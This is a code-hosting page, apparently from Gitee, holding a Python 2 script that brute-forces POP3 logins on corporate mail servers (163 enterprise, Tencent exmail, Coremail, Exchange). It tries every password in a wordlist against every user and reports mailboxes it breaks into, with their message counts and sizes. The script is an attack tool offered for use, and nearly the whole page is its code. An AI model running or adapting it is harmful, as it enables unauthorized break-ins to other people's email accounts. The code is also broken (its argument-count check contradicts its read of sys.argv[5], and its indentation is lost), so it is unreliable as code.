代码拉取完成,页面将自动刷新
同步操作将从 墨玉麒麟/Blasting_dictionary 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
#!usr/bin/python
#!coding:utf-8
import threading,time,random,sys,poplib
from copy import copy
if len(sys.argv) !=4:
print "\t Note: 邮箱类型为:'163','tencent','coremail','236','exchange' \n"
print "\t Note: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n"
print "\t Usage: 163|tencent使用方法:./mail.py type <userlist> <wordlist>\n"
print "\t Usage: 236|exchange|coremail使用方法:./mail.py type <userlist> <wordlist> mail.domain.com\n"
sys.exit(1)
mailType=['163','tencent','coremail','236','exchange']
if sys.argv[1] in ['236','exchange','coremail']:
try:
server = sys.argv[5]
except:
print '[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n'
sys.exit(1)
elif sys.argv[1] == '163':
server = "pop.qiye.163.com"
elif sys.argv[1] == 'tencent':
server = "pop.exmail.qq.com"
else :
print "[-] Error: 邮箱类型错误\n"
sys.exit(1)
success = []
try:
users_list = open(sys.argv[2], "r")
users = users_list.readlines()
words_list = open(sys.argv[3], "r")
words = words_list.readlines()
except(IOError):
print "[-] Error: 请检查用户名或密码路径及文件\n"
sys.exit(1)
finally:
users_list.close()
words_list.close()
try:
if sys.argv[1] in ['163','236']:
pop = poplib.POP3(server,110)
else:
pop = poplib.POP3_SSL(server,995)
welcome = pop.getwelcome()
print welcome
pop.quit()
except (poplib.error_proto):
welcome = "[-] Error: No Response,Something wrong!!!\n"
sys.exit(1)
print "[+] Server:",server
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
def mailbruteforce(listuser,listpwd,type):
if len(listuser) < 1 or len(listpwd) < 1 :
print "[-] Error: An error occurred: No user or pass list\n"
return 1
for user in listuser:
for passwd in listpwd :
user = user.replace("\n","")
passwd = passwd.replace("\n","")
try:
print "-"*12
print "[+] User:",user,"Password:",passwd
# time.sleep(0.1)
if type in ['163','236']:
popserver = poplib.POP3(server,110)
else:
popserver = poplib.POP3_SSL(server,995)
popserver.user(user)
auth = popserver.pass_(passwd)
print auth
if auth.split(' ')[0] == "+OK" or auth =="+OK":
ret = (user,passwd,popserver.stat()[0],popserver.stat()[1])
success.append(ret)
#print len(success)
popserver.quit()
break
else :
popserver.quit()
continue
except:
#print "An error occurred:", msg
pass
if __name__ == '__main__':
mailbruteforce(users,words,sys.argv[1])
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
for ret in success:
print "\n\n[+] Login successful:",ret[0], ret[1]
print "\t[+] Mail:",ret[2],"emails"
print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。